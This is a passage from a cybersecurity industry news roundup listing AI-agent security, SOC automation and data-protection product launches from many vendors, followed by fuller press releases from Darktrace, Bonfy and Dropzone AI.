between perceived AI security readiness and actual operational risk. Based on a survey of more than 650 cybersecurity leaders, the report reveals that while 90% of organizations claim visibility into their AI footprint, 59% admit or suspect shadow AI is operating outside of governance processes. At the same time, 70% report vulnerabilities introduced by AI-generated code already making their way into production environments. Astrix has expanded its platform with a four-method AI agent discovery architecture and a real-time policy engine designed to give security teams full visibility and control over AI agents running across the enterprise. Discovery is handled through four complementary approaches: direct integrations with AI platforms, non-human identity fingerprinting to surface shadow agents authenticating via credentials, telemetry ingested from existing endpoint and network sensors, and a bring-your-own-service option for homegrown or non-standard deployments. A new Agent Policies feature lets security teams define allow, flag, and block rules scoped by user, department, platform, and resource type, evaluated before an agent action executes. BeyondTrust has expanded capabilities across its Pathfinder Platform to deliver a unified approach to securing AI agent coworkers that operate alongside users, as well as autonomous AI workloads executing at scale across cloud and SaaS environments. New capabilities include endpoint privilege enforcement for AI coworkers, AI agent discovery and risk analysis, and secrets management for autonomous agents. The company also announced new threat research from BeyondTrust Phantom Labs, which found that the majority of enterprises are running shadow AI agents with privileged access that security teams cannot see or govern. Black Duck has announced the general availability of Black Duck Signal, an application security solution designed to secure AI-generated code and agentic development workflows. Signal delivers AI-native security designed to reason, validate, and remediate risk at the speed and scale of modern development. Built on an agentic architecture powered by multiple best-in-class LLMs and enhanced by Black Duck’s Context AI, Signal brings contextual security reasoning directly into development workflows. Broadcom has announced Symantec CBX (Carbon Black XDR), a cloud-based platform that merges capabilities from its Symantec and Carbon Black product lines into a single XDR solution. The platform combines Symantec’s prevention, Adaptive Protection, data security, Cloud SWG, and Incident Prediction features with Carbon Black’s EDR technology, providing coverage across endpoints, networks, and data. CBX uses AI to correlate signals across those attack surfaces into high-confidence incidents, and includes an Incident Prediction capability that attempts to forecast an attacker’s next four to five moves. Symantec CBX is expected to be available later this year. Cloud Security Alliance launches CSAI Foundation The Cloud Security Alliance (CSA) has established CSAI, a dedicated 501(c)3 non-profit foundation focused exclusively on AI security and safety, with a stated mission of securing the agentic control plane (covering identity, authorization, orchestration, runtime behavior, and trust assurance for autonomous AI agent ecosystems). CSAI builds on CSA’s existing AI Safety Initiative and will operate six programs: an AI Risk Observatory for threat intelligence and CVE tracking specific to agentic AI; best practices guidance covering identity-first controls, runtime authorization, and privilege governance for non-human actors; education and credentialing including three new TAISE certification tracks; a CxO collaboration program for enterprise security executives; and a global assurance program. Cisco has introduced agent discovery in Identity Intelligence, agentic IAM capabilities in Duo, and Model Context Protocol policy enforcement with adaptive risk protection in Secure Access. These features enable registration of agents mapped to human owners, fine-grained task-based permissions, and routing of tool traffic through an MCP gateway for full visibility and governance. Cisco also released ‘AI Defense: Explorer Edition’ for self-serve red teaming of models and applications, including dynamic adversarial testing against prompt injection and jailbreaks. In addition, the company launched the open-source DefenseClaw framework for automated scanning, inventory, and sandboxing of agent skills and assets, as well as an Agent Runtime SDK for embedding policy enforcement at build time across major frameworks. Commvault announced an expanded integration with Microsoft Security to better connect threat detection with trusted recovery. The new integration uses Microsoft Sentinel, Microsoft Security Copilot, and the Commvault Cloud platform to streamline resilience operations and enable real-time data insights, helping organizations move quickly from identifying a threat to validating and restoring clean data faster with greater confidence. ConductorOne announced its AI Access Management product extension, a unified control plane for managing access to AI tools, agents, and MCP connections across the enterprise. The platform enables organizations to accelerate AI adoption while maintaining full visibility, policy enforcement, and compliance. Cribl has introduced background detection for Cribl Guard, an AI-driven capability that continuously scans in-flight logs, traces, and events to identify previously unknown patterns of PII, secrets, and regulated data. The detection model runs entirely within Cribl Workers, meaning sensitive data is analyzed inside the customer’s own infrastructure rather than being sent to an external service. When a new pattern is detected, findings are surfaced in the Cribl interface with full event context, and security teams can convert a finding into an active Guard rule in a single action. CrowdStrike announced new platform innovations that extend AI agent discovery, shadow AI governance, and runtime threat detection directly from the endpoint – the point of AI execution – to every surface where AI agents operate across SaaS, browser, and cloud environments. CrowdStrike also announced that its Falcon Next-Gen SIEM now ingests and correlates Microsoft Defender for Endpoint telemetry, enabling Microsoft endpoint customers to modernize security operations without deploying additional sensors. CrowdStrike also unveiled native Falcon Onum real-time data pipelines, federated search across third-party data stores, third-party intelligence integration, and its Query Translation Agent. CyberProof announced the availability of CyberProof Defense Center (CDC) Reveal360, a centralized visibility hub that delivers continuous insights into enterprise security posture, service performance, and operational outcomes to help teams understand what their security program is delivering. CDC Reveal360 brings together threat, defense, exposure, and asset estate data from across cloud and security ecosystems into configurable, persona-aligned workspaces that evolve as the environment changes. Dataminr launched Dataminr for Cyber Defense, an agentic AI solution designed to move the SOC from reactive triage to predictive intelligence. By fusing internal telemetry with external signals, the solution autonomously investigates and financially quantifies risk. Dropzone AI has introduced AI Threat Hunter, a new autonomous agent designed to continuously and proactively search for security threats across an organization’s environment without increasing workload. The tool automates complex threat hunting processes, analyzing large datasets, investigating anomalies, and integrating across security platforms. By reducing the time needed to conduct investigations, the AI Threat Hunter expands SOC capabilities, allowing human analysts to focus on higher-value strategic work while improving overall security visibility and response. Fenix24 has debuted Argos99, its asset intelligence and resiliency platform, now available as a standalone SaaS offering. Originally developed by Fenix24’s recovery teams during real-world breach restoration efforts, Argos99 ingests and correlates telemetry from more than 60 cloud and on-prem data sources to deliver real-time visibility into an organization’s assets, how they operate, and how they depend on one another. Argos99 was built from hundreds of real-world incident response engagements to address that exact problem. The platform was reverse engineered by the Fenix24 team using insights gained from breach restoration efforts to both dramatically accelerate ransomware recovery and provide critical resiliency intelligence for organizations who want to invest in their cyber resiliency in advance of an attack. Flashpoint is announcing three new capabilities designed to connect threat intelligence more directly to asset risk and operational workflows. The first is a threat-informed External Attack Surface Management (EASM) module that continuously discovers internet-facing assets and automatically maps them to Flashpoint’s vulnerability intelligence. The second is an in-platform Priority Intelligence Requirements (PIRs) feature that lets teams formally tie alerts, investigations, and reporting to defined business risk priorities. The third is a new anonymous browser within Flashpoint Managed Attribution that provides an isolated environment for investigating underground forums, suspicious links, and threat actor activity. Forcepoint and F5 announced a new alliance to help enterprises secure AI across its lifecycle—from foundational data discovery and classification through runtime protection and continuous assurance. Forcepoint’s AI-native Data Security Posture Management (DSPM) data discovery and classification capabilities combined with F5 AI Red Team and F5 AI Guardrails functionality in the F5 Application Delivery and Security Platform (ADSP) will provide runtime protections for AI applications, APIs, models, and agents help organizations operationalize AI safely while maintaining control and visibility over sensitive enterprise data. Forescout unveils network segmentation capabilities and publishes report Now available within the Forescout 4D Platform, Forescout’s new agentless, cloud-native network segmentation capabilities help organizations model and validate zones based on device identity, function, behavior, and risk. Forescout also published its 2026 Riskiest Connected Devices Report, which shows that network infrastructure now surpasses traditional endpoints in overall risk. Among the topline findings, financial services now has the highest average device risk of any industry — more than three times that observed in retail and significantly higher than government and healthcare. Geordie AI has released a new solution for managing AI agent risk through context engineering. Geordie’s new remediation suite, named Beam, assesses risk and continuously feeds mitigation back to the agent using context-based controls. Google Cloud is debuting a suite of AI-powered security innovations designed to transition organizations toward an ‘Agentic SOC’. These updates integrate frontline threat intelligence directly into autonomous AI agents to automate complex investigation and response tasks. Illumio is delivering new enhancements to Illumio Insights to expand how lateral movement risk is exposed and mitigated, anchored by the introduction of Network Posture. By further enriching its AI security graph, Illumio now delivers system-wide, real-time visibility across hybrid, multi-cloud, and OT environments, surfacing end-to-end attack paths and showing where risk must be prioritized and mitigated. Intel 471’s Cyber Threat Exposure Bundle brings together three core capabilities (Attack Surface Exposure, Third-Party Exposure and Brand Exposure) into a single, intelligence-driven solution on the Verity471 platform. With this unified approach, security teams can close visibility gaps across complex external environments and turn high-fidelity threat intelligence into clearly prioritized remediation actions. The solution continuously discovers internet-facing assets, monitors vendors, detects brand impersonation and applies intelligence-led prioritization by enabling streamlined remediation and more proactive threat management. Keeper Security has officially launched KeeperDB, a new vault-embedded database access capability that enables secure, policy-controlled database interactions directly from the Keeper Vault. KeeperDB enables developers, database administrators and security teams to work with sensitive data through a unified interface that simplifies workflows while maintaining strict access governance. KeeperDB broadens KeeperPAM with a vault-native interface that unifies database session management within the zero-trust and zero-knowledge platform. By embedding database access directly into the Vault, KeeperDB helps reduce credential sprawl, standardize database access workflows and strengthen audit readiness across cloud and on-prem environments. Kiteworks has released Compliant AI, a governance layer that enforces attribute-based access control (ABAC), FIPS 140-3 validated encryption, and tamper-evident audit logging on every AI agent interaction with regulated data, independent of the underlying model, prompt, or agent framework. Controls are applied at the data access layer via four checkpoints: agent authentication, ABAC policy evaluation at the operation level, FIPS 140-3 encryption in transit and at rest, and full audit logging fed directly into the organization’s SIEM. The product ships with three Governed Agent Assists: a Folder Operations Assist for navigating and managing folder hierarchies, a File Management Assist for handling the full data lifecycle in line with retention and disposal requirements, and a Forms Creation Assist for generating governed data collection forms from natural language. Lumu announced new capabilities to its flagship NDR solution. Lumu Defender now extends Continuous Compromise Assessment beyond the network to include endpoints, cloud environments, and user behaviors. Lumu continuously confirms whether an organization is compromised by observing live network activity and validating it against known malicious infrastructure. By linking confirmed malicious communications to identities, endpoints, cloud services, and email, Lumu delivers real-time Continuous Compromise Assessment across the environment. NVIDIA has explained how the new NVIDIA OpenShell runtime is being built to provide tools for controlling autonomous agents in an infrastructure policy layer, adding security in the environment, rather than the model or application layer. Currently in early preview, the OpenShell runtime is being developed as organizations are rapidly defining their strategies for long-running AI agents such as OpenClaw. Instead of relying on behavioral prompts, OpenShell enforces constraints on the environment the agent runs in, so security policies are out of reach of the agent — they’re applied at the system level. Operant AI releases Agent ScopeGuard and launches partnership program Operant AI has released Agent ScopeGuard, a new capability within its Agent Protector product that enforces operational boundaries for AI agents at runtime, blocking out-of-scope actions before they execute. ScopeGuard enforces boundaries at the infrastructure level using GPU-accelerated processing, evaluating every agent action against a defined policy in real time. Security teams can configure per-agent scope policies specifying which data sources, APIs, workflows, and data types each agent is authorized to access or modify. Operant AI also launched an AI Infrastructure Ecosystem Partnership Program, through which the company will integrate its runtime security capabilities directly into the inference stacks of AI infrastructure providers. OmniTrust (formerly Integrity Security Services) has officially launched as an independent entity and unveiled its Trust Lifecycle Management (TLM) platform. The platform unifies device lifecycle management, identity lifecycle management, and TrustAI, a framework for the identity, authorization, and monitoring of autonomous AI models and agents. New global research from OpenText and the Ponemon Institute — titled “Managing Risks and Optimizing the Value of AI, GenAI & Agentic AI” — found that while more than half of organizations have fully or partially deployed gen-AI, fewer than one in five have reached AI maturity (defined as fully deployed AI in cybersecurity with security risks assessed). In addition, fewer than half have a risk-based governance strategy in place to manage what they have already built. Palo Alto Networks introduces new security innovations Palo Alto Networks introduced a new set of security innovations designed to help enterprises safely deploy agentic AI and scale AI‑driven workflows. The company announced Prisma Browser for Business, an AI‑enabled workspace for small businesses that lets teams safely use apps and AI tools from any device while blocking AI‑driven threats; Prisma AIRS 3.0, a new platform designed to secure the full agentic AI lifecycle; Agentic SASE enhancements to Prisma SASE; and Next-Generation Trust Security (NGTS) capabilities to automate certificate lifecycle management and support post-quantum readiness. Qualys has introduced Agent Val into its Enterprise TruRisk Management platform. The new agentic AI layer uses TruConfirm to safely validate exploitability of high-risk exposures directly in production environments, incorporating business context and asset criticality. It then feeds confirmed results back into the platform to prioritize remediation and apply mitigations such as isolation when patching is not possible. After mitigation, Agent Val re-validates to confirm the exploit path is closed. RapidFort has partnered with Nutanix to integrate its software supply chain security capabilities into the Nutanix Kubernetes Platform, enabling enterprises to run secure, compliant Kubernetes environments without slowing development. The combined solution delivers hardened, near-zero CVE container images and automated vulnerability remediation, helping organizations reduce risk while maintaining speed across hybrid and multicloud environments. By extending security across the entire software lifecycle, the partnership allows enterprises to proactively manage vulnerabilities, strengthen compliance, and safely support modern workloads such as AI and generative AI at scale. RSA has added a deploy-anywhere capability to its ID Plus identity and access management platform. The sovereign deployment supports private cloud, multi-cloud, on-premises, and air-gapped environments while delivering unified authentication, SSO, access control, and identity governance. It provides end-to-end phishing-resistant passwordless authentication with offline options, along with RSA Mobile Lock, Risk AI, and Help Desk Live Verify to counter advanced threats and bypass attacks. Rubrik announced its Semantic AI Governance Engine (SAGE), a real-time AI governance engine that enables safe, scalable AI agent deployment with semantic policy interpretation and integrated remediation. SAGE removes the AI agent governance bottleneck by enabling real-time, intent-based control at scale. The company also announced a new integration that combines Microsoft’s identity threat detection with Rubrik’s automated identity rollback and recovery capabilities, helping organizations respond faster to identity-based attacks. SandboxAQ, the $5.75 billion Google spinoff focused on AI and quantum, announced new capabilities on its AQtive Guard platform. These newly added capabilities are designed to help organizations identify and track AI systems in use, apply guardrails, and reduce risks (such as prompt injection, data leakage, and unintended system actions) as these systems become part of day-to-day workflows. SentinelOne launched a new set of AI security capabilities focused on two fronts: securing AI and using AI to automate investigations and response. The updates include giving enterprises visibility and control over autonomous agents, AI red teaming, and one-click, agentic investigations that can analyze threats and trigger remediation in real time. SentinelOne also introduced these capabilities for on-prem and air-gapped environments, enabling highly regulated organizations to adopt AI-driven security. Snyk has unveiled Snyk Agent Security, a new solution designed to secure autonomous AI agents from development through production. The suite addresses shadow AI risks by providing automated discovery, risk intelligence, and policy enforcement within the developer workflow. Key features include the general availability of Evo AI-SPM and new red-teaming tools to protect AI-native applications against prompt injection and data leakage. SOCRadar launched its new AI Agent Marketplace, an integrated hub where organizations can browse, purchase, and deploy specialized autonomous AI agents tailored for specific cybersecurity tasks and use cases in the SOCRadar Extended Threat Intelligence Platform. This includes phishing detection, brand abuse protection, and dark web monitoring. SOCRadar also introduced Identity and Access Intelligence capabilities to its Extended Threat Intelligence Platform to bridge the gap between internal identity security and external exposure. The new capabilities are designed to secure identity blind spots such as credential exposures detected in third-party SaaS environments, dark web marketplaces, and collaboration platforms. Spektion has expanded its platform to perform continuous runtime exposure management. It collects six categories of execution data, including execution state, privilege level, network exposure, blast radius, embedded component vulnerabilities, and pre-CVE weakness patterns, then ranks all exposures by observed exploitability in the specific environment. The platform provides visibility into AI agents, MCP servers, AI-generated executables, custom applications, and embedded libraries that lack CVE coverage, while filtering out non-executing vulnerable software. It also enables early identification of zero-day exploit patterns. Sublime Security announced the general availability of its Autonomous Detection Engineer (ADÉ), an end-to-end AI agent that detects threats and automatically creates or improves detection coverage. ADÉ can run end-to-end without analyst intervention – from picking up a newly reported threat to generating and accepting a high-confidence detection. Other new features include full coverage for spam and graymail, increased transparency, and detection labels. Sysdig has launched runtime security for AI coding agents, enabling organizations to safely adopt autonomous development tools. Sysdig provides the real-time visibility organizations need to monitor agent behavior and identify risky activity across cloud and development environments. Sysdig’s purpose-built runtime detections for AI coding agents help organizations safely adopt agentic tools by identifying risky or suspicious behaviors, such as the installation of new AI coding agents, attempts to open sensitive files or bypass unauthorized credential access, risky command-line arguments that weaken safeguards, and dangerous activity, including reverse shells, binary tampering, and persistence mechanisms. Torq released Agentic Builder, an extension of its AI SOC Platform designed to transform natural language descriptions of security goals into production-grade AI agents and workflows. By shifting the ‘cognitive load’ of engineering from humans to machines, the tool allows security teams to automate complex tasks, including alert triage, investigation, and response. The platform further ensures operational reliability by using the Torq Socrates orchestrator to test, validate, and continuously auto-calibrate these agents against real-world data and evolving threats. Upwind has developed a three-stage pipeline for real-time identification and blocking of malicious prompts sent to large language models. A lightweight classifier first filters incoming traffic to detect LLM-bound requests in under one millisecond with 99.88% accuracy. Identified prompts then undergo semantic analysis using the Nvidia nv-embedcode-7b-v1 model via NIM microservices, achieving 94.53% detection accuracy for prompt injections and indirect jailbreaks in under 0.1 milliseconds. High-risk or uncertain cases escalate selectively to the NVIDIA Nemotron-3-Nano-30B model with NeMo Guardrails for final validation, delivering overall precision near 95% while preserving sub-millisecond end-to-end latency and low cost at production scale. Versa announced early access for Versa Secure Enterprise Browser, a browser-native security capability integrated into the VersaONE Universal SASE Platform that enforces identity-aware, posture-aware, and data-aware policies directly within the browser session. Built on Chromium, it protects employees accessing SaaS, web, and AI applications by governing actions such as file uploads, data copying, and AI tool usage. Versa has also announced a new cloud-delivered capability that extends SSE to inspect and secure inbound internet traffic, collaboration with Intel for AI-driven security, networking, and analytics, and integration between Versa Secure SD-WAN and Zscaler Internet Access. Vorlon has released ‘The Agentic Ecosystem Security Gap: 2026 CISO Report’, a survey of 500 US security leaders that surfaces a troubling contradiction at the heart of enterprise security. Organizations are more confident, more tooled, and more breached than ever, with 99.4% reporting at least one SaaS or AI ecosystem incident in 2025 despite widespread claims of strong or comprehensive protection. The report points to a gap in security architecture, where existing tools lack visibility into the runtime layer of AI agents, integrations, and data movement across the ecosystem. Wiz unveils AI Application Protection Platform and Red Agent Wiz (now part of Google Cloud) launched its AI Application Protection Platform (AI-APP) to secure every layer of AI applications (infrastructure, data, access, models, agents, and applications) from code to runtime. Wiz AI-APP brings together visibility, risk analysis, and runtime protection into a single, graph-powered platform. Wiz also unveiled Red Agent, an AI-powered attacker that acts as a sophisticated security researcher, but with AI speed and scale. Zenity announces AI agent security and OpenClaw security framework Zenity announced two product updates focused on securing AI agents: a new continuous, contextual security model designed to track how risk evolves across agent interactions, and an open-source security framework for OpenClaw that lets developers inspect prompts, evaluate tool use, and analyze outputs before execution.

Darktrace expands MSSP offering with AI-driven managed email security Darktrace has launched its managed security service for MSSPs, enabling partners to deliver AI-native email security with real-time detection, investigation, and response across the email ecosystem. The launch is supported by updates to the Darktrace Defenders Partner Program designed to provide flexibility and scalability for partners at every stage of their services maturity, helping them expand security offerings and deliver AI-native protection to customers around the world. Email threats continue to grow in sophistication as attackers leverage generative AI to craft more convincing and personalized social engineering campaigns. Analysis of 32 million phishing emails detected across Darktrace’s global customer fleet in 2025 shows AI-assisted phishing techniques increased from 32% to 38% year-over-year, highlighting a shift toward longer, more targeted attacks designed to evade traditional defenses. On average, Darktrace research shows that approximately 17% of email threats bypass Secure Email Gateways but are detected by Darktrace’s AI. As email threats become harder to detect and faster to execute, many organizations, particularly smaller businesses with limited security resources, are increasingly turning to managed security service providers for support, seeking more flexible ways to consume security and the ability to outsource complex operations. MSSPs play a critical role in extending advanced cybersecurity capabilities to these organizations, but protecting multiple customer environments at scale introduces operational challenges as analysts must investigate large volumes of alerts while maintaining consistent detection and response. By enabling MSSP partners to deliver Darktrace-powered protection as a managed service, the new offering helps make enterprise-grade AI email security accessible to a broader range of organizations. “As organizations face increasingly sophisticated and automated cyber threats, security operations must evolve beyond traditional alert monitoring,” said Feras Tappuni, CEO of SecurityHQ, a global managed security service provider. “At SecurityHQ, we focus on engineering security performance for our customers—combining global threat intelligence, advanced AI-driven detection, and human expertise to reduce noise and accelerate response. Technologies like those offered by Darktrace help strengthen that capability by enabling faster detection and deeper investigation across complex environments. By integrating these capabilities into our global security operations, we’re helping organizations improve protection while giving security teams the clarity and confidence they need to respond effectively,” Tappuni continued. To help MSSPs meet this growing demand while maintaining effective protection at scale, Darktrace today introduces a new AI-native managed email security capability built on its industry-leading Darktrace / EMAIL solution, extending protection across the entire email ecosystem, collaboration platforms like Microsoft Teams, identities, and sensitive data. Darktrace / EMAIL has been widely recognized as a leading email security solution, including being named a Leader in the 2025 Gartner® Magic Quadrant for Email Security Platforms and a 2025 Gartner Peer Insights Customers’ Choice for Email Security Platforms. Introducing AI-native managed email protection Darktrace’s new managed email security offering enables MSSPs to deliver AI-native protection across email, collaboration platforms, and user identities powered by Self-Learning AI, which continuously learns the normal communication patterns of every user and organization it protects. Instead of relying on traditional static rules or lists, the system dynamically adapts to each environment, identifying subtle behavioral anomalies that may signal early-stage threats such as phishing, business email compromise (BEC), or account takeover (ATO). The service allows partners to deliver Darktrace’s advanced messaging and identity security capabilities, including AI-driven threat detection across email, Microsoft Teams, and user identities, integrated data loss prevention (DLP) and DMARC monitoring to prevent sensitive data loss and domain impersonation, as well as behavior-driven security training with Darktrace / Adaptive Human Defense. Together, these capabilities detect and contain advanced threats, prevent data exfiltration, stop spoofing and impersonation attacks, and strengthen user resilience against social engineering. Through this MSSP-ready model, partners can: Deliver continuous, real-time detection and containment of advanced email threats Automate investigation and prioritization with AI to reduce manual triage Maintain consistent protection across multiple customer environments “As a longstanding Darktrace customer and partner, we’ve seen firsthand how effective its AI-driven approach can be in stopping advanced threats,” said Bob Keblusek, Chief Innovation and Technology Officer at Sentinel Technologies, a premier IT services provider and industry leading MSSP. “Darktrace has consistently pushed the boundaries of innovation in cybersecurity, delivering solutions that provide real, long-term value for organizations. That track record made it a natural fit to build a managed security practice around their technology. With this new managed services model, we’re able to bring Darktrace’s advanced capabilities to more customers, helping them strengthen protection against evolving threats while reducing operational burden,” Keblusek added. To support partners operating across multiple customer environments and enable service delivery at scale, Darktrace has also introduced enhancements to its ActiveAI Security Portal, which unifies control, configuration, and visibility across all Darktrace deployments. The newly introduced SOC Alert Triage Dashboard provides multi-tenant visibility and AI-driven alert investigation and triage across multiple customer environments. The portal enables analysts to investigate incidents, manage workloads, and coordinate response across clients from a single interface, helping service providers streamline SOC operations and accelerate response times. “Customers today prioritize outcomes over additional standalone security tools,” said Mathias Schick, Business Manager Security at Bechtle. “Especially in the mid-market, organizations often lack the capacity, both financially and operationally, to manage complex security environments themselves. By integrating Darktrace’s technology into our managed services portfolio, we can deliver a complete, automated security offering that reduces friction for customers while strengthening protection against increasingly sophisticated threats.” Expanding the Darktrace Defenders Partner Program Darktrace is expanding support for MSSPs within the Darktrace Defenders Partner Program, providing partners with greater flexibility to build and scale security services. The program introduces a flexible framework designed around partner needs, allowing organizations to engage as resellers, service providers, or fully managed security providers. Key features of the program include: Flexible commercial models designed for MSSP business structures Scalable deployment paths that accelerate time-to-value Co-selling, enablement, and go-to-market support to help partners expand services Unified management capabilities that simplify operations across customer environments This flexible model allows partners to grow their services business at their own pace while unlocking new recurring revenue opportunities. “Our partners are at the forefront of helping organizations defend against increasingly sophisticated cyber threats,” said Dan Monahan, Chief Partner Officer, Darktrace. “By expanding MSSP capabilities within the Darktrace Defenders Partner Program and introducing AI-native email security services, we’re enabling partners to bring innovative AI-powered protection to market as managed services, helping them protect customers, scale their operations, and unlock new revenue opportunities.”

Bonfy ACS 2.0 helps organizations control data use in AI environments Bonfy.AI announced Bonfy Adaptive Content Security (Bonfy ACS) 2.0, a platform built to secure enterprise content across all systems, applications, and AI agents – anywhere data moves, resides, or is processed. As organizations race to deploy copilots, custom AI apps, and increasingly autonomous AI agents, security leaders are struggling with blind spots around how these systems access, transform, and share sensitive data, gaps that legacy DLP and DSPM tools were never designed to handle. By 2028, Gartner projects that 22% of cyberattacks and data leaks will involve generative AI, and through 2029 over 50% of successful cybersecurity attacks against AI agents will exploit access‑control issues. Bonfy delivers real-time, contextual protection across email, SaaS apps, collaboration tools, browsers, cloud and on‑prem file stores, AI systems, and agent frameworks, so enterprises can safely accelerate AI adoption without flying blind. With native coverage for Microsoft 365 (Exchange Online, SharePoint, Entra, Copilot and Purview), Google Workspace (Gmail, Google Drive, Google Directory), Salesforce, HubSpot, Slack, on‑premises file stores, AWS S3, and more, Bonfy becomes the unifying data security layer that follows content regardless of channel or AI workflow. “AI agents are about to become the biggest catalyst in our market, and the biggest new attack surface enterprises have seen in a decade,” said Gidi Cohen, co-founder and CEO of Bonfy. “They read, write, click, send, and connect to everything. Our mission with Bonfy 2.0 is simple: protect the data across that entire lifecycle, no matter which agent, platform, or workflow is in play.” Built for agentic and autonomous AI Bonfy ACS 2.0 is engineered specifically for system‑level and browser‑based AI agents that plan, reason, call tools, and execute actions across enterprise systems. By treating agents as first‑class entities, not just extensions of users, Bonfy allows security teams to see which agents accessed which data, how they used it, and where the outputs ultimately landed. Bonfy ACS 2.0 fits cleanly into a customer’s existing security and productivity stack: it complements Microsoft Purview and M365 DLP, integrates with Microsoft Entra and Google Directory, and plugs into SIEM/SOAR tools such as Splunk, Sentinel, and Rapid7 for workflow automation, while also integrating via its MCP Server interface and APIs with modern AI platforms including Microsoft Copilot Studio, OpenAI, Anthropic Claude, Google Gemini, and other enterprise agent frameworks. Bonfy is designed for executive level visibility and governance for CISOs, CIOs, and to be operated by security teams, security architects, and AI platform teams responsible for GenAI and agent deployments in financial services, insurance, technology, biotech/pharmaceutical, healthcare companies, and more. It provides one policy and automation engine that spans traditional data security, AI data governance, and AI agent guardrails, eliminating the need to stitch together separate point products for systems, and agents. The Bonfy platform can be used both for projects where organizations consume AI and build AI. “The AI agent factory is already here,” said Tal Hornstein, CISO of Cast & Crew. “Microsoft, Google, Salesforce, ServiceNow, and the hyperscalers are all shipping frameworks for building agents. Bonfy gives enterprises a way to say: Yes, we want the productivity, but we’re not willing to lose control of our data to get it.” Headline capabilities in Bonfy ACS 2.0 Bonfy ACS 2.0 introduces six major capabilities that together form a second-generation, high‑performance data security platform for the AI era. AI agent data guardrails (MCP and agent framework support) Bonfy adds “data in use” security solution by adding an MCP server interface, API, and agent‑aware controls so enterprises can inspect and govern the content AI agents read, share, and generate during planning, reasoning, and execution, not just in the final output. Agents can call Bonfy inline to label and risk‑score content before it reaches external services or users, stopping AI‑driven leakage and trust‑boundary violations. Browser extension for Shadow AI and agentic activity A lightweight browser extension delivers real‑time, content‑aware inspection of web traffic, including unsanctioned AI tools and browser‑based assistants. Bonfy separates safe AI use from risky disclosure, detects shadow AI automations, and shows security teams exactly where sensitive data is going. Full Google workspace support Bonfy 2.0 adds native support for Gmail, Google Drive, and Google Directory, achieving parity with Microsoft 365 integrations and extending multi‑channel protection across both ecosystems. Organizations running on Google get unified, entity‑aware controls including contextual, automated classification labeling. Data surface visibility for AI-era risk A new “data surface visibility” view gives CISOs a live map of where sensitive content lives across data stores such as Microsoft SharePoint, Google Drive, AWS S3 buckets, On-prem file stores and AI systems, and how employees and agents use it. Teams can drill from high‑level exposure down to specific actors and flows to understand real business risk, not just isolated events. On-premises and cloud file store coverage Bonfy covers on‑premises file stores and cloud object storage such as AWS S3, alongside existing SharePoint, Google Drive and other SaaS applications. This creates a unified control plane for unstructured data at rest, in motion, and in use. Data minimization, encryption enhancements, and SOC 2 Bonfy 2.0 tightens data minimization, encryption, and configurable retention so the platform itself has a smaller, better‑protected footprint. Completing SOC 2 Type 2 certification as part of the release reinforces Bonfy’s readiness for highly regulated industries. “System-level agents won’t run on endpoints you control. They’ll run in compute infrastructure provided by Microsoft, Google, OpenAI, Anthropic, Salesforce, and everywhere else your data already lives, thereby making it extremely simple and straightforward for these agents to access that data (and more) through available tools to enhance their learning with enterprise-specific data” said Vishnu Varma, Head of Product, Bonfy. “Endpoint-, browser-only DLP can’t see that world. Bonfy was built as a multi-channel platform precisely so we can protect content wherever those agents operate.” Bonfy ACS 2.0 is available immediately. RSAC 2026 attendees can schedule a live demo by contacting Vishnu Varma.

Dropzone AI releases autonomous Threat Hunting agent for continuous SOC detection Dropzone AI has released the AI Threat Hunter, its newest AI agent that enables security teams to proactively search for threats across their environments around the clock. The AI Threat Hunter is the next agent joining the Dropzone’s Agentic SOC team, expanding what AI agents can do across the full spectrum of detection and response. This new capability is designed to work seamlessly alongside SOC analysts, both human and autonomous, expanding security analytical capacity across the SOC, and will be generally available in Summer 2026. Security teams have long recognized the importance of proactive threat hunting; however, thorough hunting requires time, specialized expertise, and investigation across multiple tools. A single hunt can take up to 40 hours of cross-tool investigation, and most security operations centers are forced to prioritize daily alert responses over proactive hunts. As a result, many teams can only conduct threat hunts occasionally, leaving threat hunting limited to the largest and most resourced SOCs. This is where the AI Threat Hunter makes a difference, enabling teams, big or small, to run continuous hunts across their environments while human analysts remain focused on strategy and high-value projects. Key capabilities of the AI Threat Hunter include: 1-click autonomous hunting across the entire security stack: Select from 250+ pre-built hunt packs or describe a custom hunting objective and the agent builds one on demand. The agent then spends the next 60-90 minutes performing federated searches across SIEM, EDR, cloud, and identity platforms, processing hundreds of thousands of rows of telemetry from across the environment. AI-driven analysis of large security datasets: The agent iteratively analyzes and filters large telemetry datasets, documenting every filter step and the reasoning behind it, to surface the anomalies that warrant deeper investigation. In one real-world hunt, 464,000 events were reduced to 9 fully investigated findings. Automated investigation of suspicious activity: Each anomaly is investigated across connected security tools (EDR, SIEM, identity providers, IP reputation services) with every evidence source and conclusion documented. The agent conducts multiple investigations in parallel, classifying each finding as urgent, notable, or informational. Broad threat hunting coverage: Ships with 250+ pre-built hunt packs including one for every MITRE ATT&CK technique plus operational packs covering cloud, identity, endpoint, and user behavior anomalies such as OAuth consent grant abuse, unauthorized RMM tools, and legacy MFA gaps as security signals. Vendor-agnostic: Hunt definitions are vendor-agnostic by design: The same pack works across Microsoft Sentinel, Splunk ES, CrowdStrike, and any connected platform without rewriting a single query. Actionable security posture insights with every hunt: Beyond threat detection, every hunt surfaces visibility gaps, detection opportunities, misconfigurations, and policy violations—delivering measurable security improvements even when no active threats are found. “For too long, proactive threat hunting has been limited by manual workflows, fragmented tools, and the cost of doing it even once a day,” said Edward Wu, CEO of Dropzone AI. “24/7 threat hunting has simply not been realistic for 99% of organizations. Today, LLM-powered software can replicate expert hunting intuition and techniques at scale, allowing our AI Threat Hunter to bring continuous, autonomous expert-level hunting within reach without adding headcount. This is another important step toward the Agentic SOC and for the vast majority of organizations that could never staff a dedicated threat hunter, it makes continuous hunting possible for the first time.” The AI Threat Hunter is built to work in concert with the other agents on the Dropzone AI team. When the AI Threat Intel Analyst detects an emerging threat (a new CVE, a trending threat actor campaign), it automatically builds a hunt pack and hands it directly to the AI Threat Hunter. The result is continuous, autonomous coverage: a zero-day vulnerability surfaces on a Sunday night, and by the time analysts arrive Monday morning, a complete hunt report is already waiting. Every hypothesis, query, filtering, and finding generated during a hunt is logged and auditable, giving teams full visibility into how conclusions are reached. This coordinated workflow helps organizations identify risks earlier and discover threats faster across their entire environment. “Dropzone’s AI Threat Hunter performs federated hunts in 1 hour that would take humans up to 40 hours,” said Dropzone AI customer Andrew Marsh, Director of Information Security of Indiana Farm Bureau Insurance. “Now we can hunt continuously across our environment without pulling analysts away from other priorities.”

